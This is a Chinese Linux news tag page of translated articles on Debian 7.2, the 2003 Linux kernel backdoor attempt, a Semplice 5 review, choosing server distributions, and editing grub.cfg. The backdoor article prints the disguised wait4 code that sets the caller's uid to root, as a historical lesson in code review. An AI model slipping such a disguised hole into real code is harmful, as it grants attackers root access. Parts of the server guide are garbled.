标签 Debian 下的文章

Debian项目宣布即将推出可供下载的第二个维护版本的Debian 7 Linux操作系统。

Debian 7.2仅仅是一个维护更新版本,但是它确实进行了一系列的升级并且为当前稳定版本进行了一些修正,也为其更新了许多包。

“请注意这次更新并不是构建了一个新的Debian 7,而仅仅是更新了其中的一些包。因此没有必要将以前废旧的Wheezy CD或DVD丢掉,只需要在安装系统完成后,通过最新的Debian镜像更新一些过期的包即可。”官方公告这么说。

这意味着已经安装有Debian 7.0或7.1的用户不用再重新安装系统。他们只需完成定期的升级即可,这样只需要从security.debian.org下载很少部分包。

在官方声明中可以查看完整的更新日志。

Debian GNU/Linux 7.1.0: 免费下载地址

来自: http://news.softpedia.com/news/Debian-7-2-quot-Wheezy-quot-Officially-Released-390694.shtml

译者:SCUSJS 校对:Caroline

本文由 LCTT 原创翻译,Linux中国 荣誉推出

最近Josh写了一篇文章,讲述2006年Debian Linux中出现的一系列安全bug,探讨了这些所谓bug是否是NSA植入的后门。(最后他作出结论:可能不是)

今天我想讲述的是另外一个事件——2003年某些人试图在Linux内核中植入后门的故事。这次事件很明确,的确有人想植入后门,只是我们不知道此人是谁,而且,也许永远都不会知道了。

时间回到2003年,当时Linux使用一套叫做BitKeeper的系统来存储Linux源代码的主拷贝。如果开发者想要提交一份针对源码的修改,就必须经过一套严格的审核过程,以决定这份修改是否能够合并进主拷贝。每个针对主拷贝的修改都必须附带一段说明,说明当中都包括了一个记录相应审核过程的链接。

但是有些人不喜欢BitKeeper,于是这些开发者们就用另一套叫做CVS的系统(译注:Linus一直拒绝使用CVS,后来不得已使用了BitKeeper,并在因某些原因BitKeeper不再让开源社区免费使用后,花了不到一个月的时间自己开发了GIT的原型,并且投入了使用),维护了一份Linux源代码的拷贝,这样他们就能随时按自己喜欢的方式获取Linux源代码了。CVS中的代码其实就是直接克隆了BitKeeper中的代码。

但是在2003年11月5日的时候,Larry McVoy发现,CVS中的代码拷贝有一处改动并没有包含记录审核的链接。调查显示,这一处改动由陌生人添加,而且从未经过审核,不仅如此,在BitKeeper仓库的主拷贝中,这一处改动竟然压根就不存在。经过进一步调查后,可以明确,显然有人入侵了CVS的服务器并植入了此处改动。

神秘人物究竟做了哪些改动?这才是真正有趣的地方。改动修改的是Linux中一个叫wait4的函数,程序可以使用该函数进行挂起操作,以等待某些事件的触发。神秘人物添加的,就是下面这两行代码:

if ((options == (\_\_WCLONE|\_\_WALL)) && (current->uid = 0))

retval = -EINVAL;

[有C语言编程经验的人也许会问:这两行代码有什么特别的?请接着往下看]

猛地一看,好像这两行代码就是一段正常的错误校验代码,当wait4函数被某种文档中禁止的方式调用时,wait4就返回一个错误代码。但是一个真正认真的程序猿立刻就会发现代码中的问题,注意看在第一行末尾,“= 0”应该是“== 0”才对。是的,“== 0”在这里才是判断当前运行代码的用户ID(current->uid)是否等于0,而“= 0”不但无法判断,反而修改了用户ID的值,即,将其值赋值为0

将用户ID设置为0,这是一个很严重的问题,因为ID为0的用户正是“root”,而root账户可以在系统中做任何事情,包括访问所有数据、修改任意代码的行为,能够危及到整个系统各个部分的安全。因此,这段代码的影响就是通过特殊手段使得任何调用wait4函数的软件都拥有了root权限。换句话说,这就是一个典型的后门。

客观地说,这一招很漂亮。看起来就像是无关紧要的错误校验,但真实身份却是一个后门。而且它混在其他经过审核的代码中间,几乎规避了所有审核可能会注意到自己的可能性。

但是它终究还是失败了,因为Linux小组有足够强的责任心,注意到了CVS仓库中的这段代码没有经过常规审核。Linux还是略胜一筹。

这是NSA干的吗?只能说有可能。因为有太多拥有技术能力和动机的人有可能实施了此次攻击。那么,到底是谁呢?除非某些人主动承认,又或者发现新的确凿证据,否则,我们将永远不会知道。

via: https://freedom-to-tinker.com/blog/felten/the-linux-backdoor-attempt-of-2003/

本文由 LCTT 原创翻译,Linux中国 荣誉推出

译者:tinyeyeser 校对:wxy

有时,我会尝试一个看起来还不错的桌面发行版,因为我想看看它到底有多好,能否为Linux桌面世界带来些许新鲜空气。所以,这次我将目标瞄向了Semplice,一个基于Debian不稳定分支的桌面发行版。

据说它的名字源于“simple”,开发者们将其解释演绎为“KISS原则(KISS principle)”。(译者注,KISS原则,Keep It Simple, Stupid,直译为“保持简单、愚蠢”,你可以理解为“简约不简单”,囧)

当第一次面对以KISS原则设计的发行版时,我并没有感到太意外,因为它常常就意味着一个“皮包骨头系统”,用户得亲自矫正几乎每一个零件,才能让这种系统勉强工作。

所以,在本次短暂的“抢先看”中,我将带大家一起重点测试Semplice 5的安装过程,看看它是否值得我向我的新手用户读者们推荐,(本次测试使用2013年9月8日发布的最新版本)。

闲话少叙,开整!

安装程序拥有易于控制的图形化界面,风格与Ubuntu类似。支持自动分区和手动分区。如下图所示,可以看到分区这一步的两个选项。

选择自动分区,安装程序会自动创建两个分区,一个是Swap交换分区,另一个为主分区。如下图

http://www.linuxbsdos.com/wp-content/uploads/2013/09/SempliceInstall3-600x419.png

不幸的是,自动分区模式更像是半自动,因为在上图的步骤中,用户需要手动设置挂载点。虽然设置挂载点只是个很简单的工作,但这还是足以让我们在所谓的“自动分区”上标一个“囧”字。

下图中,设置用户账户时,可以看到是否允许使用传统root账户的选项。

所有的选项步骤完成后,安装程序开始正式安装,接下来我们可以喝杯茶发发呆。整个安装程序比较简单,只是它并没有“高级选项”。而目前,“高级选项”已经成为Ubuntu安装程序的标准组成部分。

下图中,你可以选择是否打开某些功能。这些功能在安装完成后也可以随时修改。

对其中任意一项功能,你还可以进行更详细的自定义设置。

安装完成,系统重启后,你应该会看到下图中的登录界面。顺便一提,界面很漂亮,赞一个。

登录之后,可以看到桌面使用的是Openbox窗口管理器,这是一款最轻量级的窗口管理器,对于新手用户来说可能并不是特别适应。

默认情况下,在桌面或底部面板上点击鼠标右键可以呼出菜单栏。如下图所示,有4个桌面或者说工作台供用户选择。

由于遵循KISS原则,标准路径中的home目录是不存在的,你需要自己创建他们,汗~。

再来看看应用程序,大部分用户都需要的一些标准应用程序默认已经安装好。默认安装的Web浏览器为Chromium。

Semplice 5 默认并不安装办公套件,因此需要我们自己安装一个,根据仓库中的记录,我们可以选择LibreOffice 4.1.1。

安装新程序或管理已有程序的时候,可以使用图形界面应用程序管理器 Synaptic Package Manager。它不像深度Linux软件中心那样有华丽的界面,但可以完成同样的工作。

系统还在菜单中提供了一些Web应用程序(例如Facebook和Twitter),你也可以通过该发行版提供的工具添加其他Web应用。只需要按照下图所示,在命令行中输入命令(oneslip-add-app gtk)就可以了。

除了上面提到的两款管理器,系统还提供了其他图形化界面管理器。其中一个就是“服务设置管理器”,用户可以通过它来管理系统服务。

另外一个是“任务管理器”。目前绝大部分Linux发行版上都已经配备了标准的图形化任务管理器,很高兴在一款以KISS原则设计的Linux发行版上,我们同样也能看到。

下图中,显示的是网络连接设置界面,用户可以为网络接口指定一个防火墙区域。但问题是提供该功能的防火墙程序FirewallD根本就没有安装,尽管用户可以从仓库中自行安装,也许是为了遵循KISS原则,但是默认连最基本的安全程序都没有,这样的发行版显然对安全问题非常不重视。

Chakra是我见到的第一个以KISS原则设计的Linux发行版,随着时间推移,开发者们已经渐渐改变立场,做出一些默认功能上的改进。这期间我学到的一件事就是,像Semplice这样的发行版并不是为新手用户而设计,它们更适合那些老用户——偏好资源友好、风格简约朴素的系统。

相关源 下载安装32位、64位系统ISO镜像点击这里。阅读发布公告点击这里

via: http://www.linuxbsdos.com/2013/09/27/semplice-5-review-high-hopes/

本文由 LCTT 原创翻译,Linux中国 荣誉推出

译者:Mr小眼儿 校对:wxy

所谓适合你的商用Linux服务器,可能只是符合你的职员水准的服务器。

penguins
供图: flickr/Pete

与上千种Linux桌面版本相比,Linux服务器只有可怜的十几种。但想要选对适合你的企业需要的仍然不是件容易的事情。我可以帮助你。Linux 方面我有20年经验了,对Linux服务器略懂一二。

参考:

我觉得选Linux服务器首先要考虑的是你的IT部门对Linux有多熟悉。尽管这些年Linux专家好找多了,但是专业搞Linux的人还是不太好找。

今年早些时候我去俄勒冈州的波特兰参加一个叫做OSCon的开源大会的时候,我确认了一个事实就是每家公司(包括某家叫什么软的)都在考虑雇佣有Linux和开源工作经验的人

特别地,从已有经验来看,雇主在找有[几年Linux使用经验]的职员的时候都遇到了麻烦。或者确切地说是你需要保证你的Linux服务器火车准点的雇员。

不难看出,如果你手底下没有一群经验丰富的Linux技术人员的话,你要避免选择像Debian这样没有供应商提供技术支持的版本。

别搞错了,如果有经验丰富的人员的话Debian是个很棒的选择,但是如果你的职员连BASH和C Shell有什么区别都不知道的话那还是算了吧。

推荐给Linux新手的Linux服务器

  • RHEL
  • SUSE
  • Oracle Linux
  • Turnkey Linux

如果你的职员是Linux新手,你需要用一个商业版本的Linux。在它们之中,多数人力荐的是Red Hat Enterprise Linux

Red Hat靠对商用的支持成为了第一个资产过亿的Linux公司。RHEL比起其它Linux有很大的优势,因为它有着全套的工具——企业级支持专业认证硬件认证,通过Red Hat Network (RHN) 的自动在线更新 —— 那让CFO和CIO们很开心。

话说回来,Red Hat 确实有个真正的对手:SUSE Linux Enterprise Sever (SLES)

像RHEL一样,SLES有着技术支持;由它的姊妹公司Novell负责的人员认证硬件认证在线更新

那么,在它们当中该怎么选择呢?你可以试试先。它们用起来都很容易。就我而言,它们我都用过。总之要视实际情况而定,它们各有用武之地。

还有一个企业级Linux可以选择: Oracle Linux。尽管它是以RHEL为模仿对象和奋斗目标的,反正我不用。我所知道的唯一在商用中使用它的是一群把它们的IT鸡蛋们都放在Oracle这个篮子里面的人。

推荐给非专家用户的Linux服务器

  • CentOS
  • openSUSE
  • Ubuntu Server

假设你中等水平,你的手下了解一些Linux的知识但并不是专家,怎么办呢?

我将推荐几个Linux。首先,如果你喜欢RHEL的话,那么一个免费的RHEL的克隆版本CentOS,值得你去关注。

CentOS 人气很高。如果你有一个运行在大多Web托管服务上的Apache服务器软件,很有可能你的网站就是运行在CentOS上的。要在网上寻找这个发行版的免费技术支持也不是件难事。

如果你在担心Red Hat找CentOS麻烦的话,尽管放心好了。虽然Red Hat对Oracle Linux没什么好感,但对CentOS不一样。RedHat的CEO James Whitehurst最近说:“CentOS 是 RHEL生态系统成为行业标杆的原因之一。如果不是它,Linux就必须付费使用而RHEL也就不会这么流行了。所以,往小处看我们是损失了一些收入,但从长远看,CentOS 在使RHEL成功方面扮演着非常重要的角色。”

另外一个给稍微了解一点Linux的人的选择是openSUSE。这是SUSE的社区版本。尽管它不提供SLES的技术支持,它还是挺好用的。我的家用服务器就是用的openSUSE。

Fedora是RHEL的社区版,但我不推荐用它做服务器。Fedora对想要挖掘Linux潜力的开发者们是不错的,但它不适合想要一个稳定的服务器的人。

另外一个中游的选择是Canonical的Ubuntu。Ubuntu以桌面版本及其在平板电脑和智能手机上的设计而闻名,同时它也有相当好的服务器版本:Ubuntu Server

像RHEL和SLES一样,Ubuntu也有技术支持和认证服务,但比不上Red Hat 和SUSE的资源丰富。另一方面,Ubuntu作服务器的话还是挺容易上手的。

专家级Linux服务器

  • Arch
  • Gentoo
  • Debian
  • Fedora

如果你对云计算感兴趣,Ubuntu(像RHEL一样)和OpenStack结合地很好。另外,Ubuntu的母公司Canonical提供了Juju,一套非常方便的DevOps(开发/运营)的工具,这使得Ubuntu的架设、配置、管理、维护、升级和扩展服务器变得更简单。

当我们在探讨云的时候,你也应该考虑你是不是真的需要在你的办公室或者数据中心里运行通用Linux服务器。很有可能你能在云的某一特定Linux服务器上运行服务。

多数公用云计算服务,如Amazon Web Services(AWS),Azure和RackSpace,提供Linux服务器。这样的话配置服务器等等一些难做的工作就已经替你做好了。

举个例子,在Amazon Elastic Cloud (AE2)上,Amazon提供了随时可用的Amazon Machine Images (AMIs),包括上文提到的每一种Linux发行版本,还有它自己的Amazon Linux可以选择。Microsoft的Azure呢,不管你信不信,。最后,RackSpace,一个OpenStack的拥护者,支持大多数主流Linux服务器版本和两个轻量级Linux,Arch和Gentoo。然而,像Debian一样,支持CentOS,openSUSE,SUSE和Ubuntu我仅推荐那些特别了解这些Linux发行版的人使用它们作为关键业务服务器。

谁说你就算是在云上都要有一个全功能Linux服务器?你可能只需要一个针对特定工作的Linux服务器。Turnkey Linux可以满足你。

Turnkey基于64位的Debian,但它需要的专业知识最少。因为它只提供特定的服务而不是一个全功能的发行版本。

Turnkey有超过100个可用的应用。包括Apache,Linux,MySQL,PHP/Python/Perl (LAMP) ;WordPress博客平台;Drupal内容管理系统(CMS)以及像Ushahidi这样的大流量购物服务器,优秀的人际关系管理(CRM)应用Zurmo,人道救援管理系统Sahana Eden。你可以在AWS,裸机,虚拟机(VM)或者Infrastructure as a Service(IaaS)云上面使用它们。

简言之,不论你对Linux知道多少,总有一款Linux服务器版适合你进行商用。动手吧!

via: http://www.itworld.com/operating-systems/372236/how-choose-best-linux-server-your-business

本文由 LCTT 原创翻译,Linux中国 荣誉推出

译者:boredivan 校对:jasminepeng

在Debian中,没有menu.lst文件,取而代之的是grub.cfg文件,那么打开grub.cfg文件,我贴个我的文件内容:

#
# DO NOT EDIT THIS FILE
#
# It is automatically generated by grub-mkconfig using templates
# from /etc/grub.d and settings from /etc/default/grub
#

### BEGIN /etc/grub.d/00_header ###
if [ -s $prefix/grubenv ]; then
  load_env
fi
set default="0"
if [ "${prev_saved_entry}" ]; then
  set saved_entry="${prev_saved_entry}"
  save_env saved_entry
  set prev_saved_entry=
  save_env prev_saved_entry
  set boot_once=true
fi

function savedefault {
  if [ -z "${boot_once}" ]; then
    saved_entry="${chosen}"
    save_env saved_entry
  fi
}

function load_video {
  insmod vbe
  insmod vga
  insmod video_bochs
  insmod video_cirrus
}

insmod part_msdos
insmod ext2
set root='(hd0,msdos7)'
search --no-floppy --fs-uuid --set 37d5f764-cffc-47f6-bbb7-4a22ff86ddaf
if loadfont /usr/share/grub/unicode.pf2 ; then
  set gfxmode=640x480
  load_video
  insmod gfxterm
fi
terminal_output gfxterm
insmod part_msdos
insmod ext2
set root='(hd0,msdos7)'
search --no-floppy --fs-uuid --set 37d5f764-cffc-47f6-bbb7-4a22ff86ddaf
set locale_dir=($root)/boot/grub/locale
set lang=zh
insmod gettext
set timeout=5
### END /etc/grub.d/00_header ###

### BEGIN /etc/grub.d/05_debian_theme ###
insmod part_msdos
insmod ext2
set root='(hd0,msdos7)'
search --no-floppy --fs-uuid --set 37d5f764-cffc-47f6-bbb7-4a22ff86ddaf
insmod png
if background_image /usr/share/images/desktop-base/spacefun-grub.png; then
  set color_normal=light-gray/black
  set color_highlight=white/black
else
  set menu_color_normal=cyan/blue
  set menu_color_highlight=white/blue
fi
### END /etc/grub.d/05_debian_theme ###

### BEGIN /etc/grub.d/10_linux ###
menuentry 'Debian GNU/Linux, with Linux 2.6.32-5-amd64' --class debian --class gnu-linux --class gnu --class os {
    insmod part_msdos
    insmod ext2
    set root='(hd0,msdos7)'
    search --no-floppy --fs-uuid --set 37d5f764-cffc-47f6-bbb7-4a22ff86ddaf
    echo    'Loading Linux 2.6.32-5-amd64 ...'
    linux    /boot/vmlinuz-2.6.32-5-amd64 root=UUID=37d5f764-cffc-47f6-bbb7-4a22ff86ddaf ro  quiet
    echo    'Loading initial ramdisk ...'
    initrd    /boot/initrd.img-2.6.32-5-amd64
}
menuentry 'Debian GNU/Linux, with Linux 2.6.32-5-amd64 (recovery mode)' --class debian --class gnu-linux --class gnu --class os {
    insmod part_msdos
    insmod ext2
    set root='(hd0,msdos7)'
    search --no-floppy --fs-uuid --set 37d5f764-cffc-47f6-bbb7-4a22ff86ddaf
    echo    'Loading Linux 2.6.32-5-amd64 ...'
    linux    /boot/vmlinuz-2.6.32-5-amd64 root=UUID=37d5f764-cffc-47f6-bbb7-4a22ff86ddaf ro single 
    echo    'Loading initial ramdisk ...'
    initrd    /boot/initrd.img-2.6.32-5-amd64
}
### END /etc/grub.d/10_linux ###

### BEGIN /etc/grub.d/20_linux_xen ###
### END /etc/grub.d/20_linux_xen ###

### BEGIN /etc/grub.d/30_os-prober ###
menuentry "Windows 7 (loader) (on /dev/sda1)" {
    insmod part_msdos
    insmod ntfs
    set root='(hd0,msdos1)'
    search --no-floppy --fs-uuid --set ee1cfa2f1cf9f287
    chainloader +1
}
### END /etc/grub.d/30_os-prober ###

### BEGIN /etc/grub.d/40_custom ###
# This file provides an easy way to add custom menu entries.  Simply type the
# menu entries you want to add after this comment.  Be careful not to change
# the 'exec tail' line above.
### END /etc/grub.d/40_custom ###

### BEGIN /etc/grub.d/41_custom ###
if [ -f  $prefix/custom.cfg ]; then
  source $prefix/custom.cfg;
fi
### END /etc/grub.d/41_custom ###

现在删除下图内容

### BEGIN /etc/grub.d/30_os-prober ###
menuentry "Windows 7 (loader) (on /dev/sda1)" {
    insmod part_msdos
    insmod ntfs
    set root='(hd0,msdos1)'
    search --no-floppy --fs-uuid --set ee1cfa2f1cf9f287
    chainloader +1
}
### END /etc/grub.d/30_os-prober ###

保存之后关闭计算机,拔掉电源,等候一分钟后加电开机就看到grub中没有Windows的引导了。

这是我自己摸索的,大牛们有高见和指教请回帖描述,越详细越好。

摸索的过程很艰难,大家要注意的是修改了之后使用重启是看不到效果的,必须关机,断电,然后在开机。我不知道为什么,希望有大牛能回帖讲解给我们这些新人小号。

备注:文件具体在哪里?使用什么修改我这里就不说了,网上一查到处都是。

我的Debian版本是6.0.0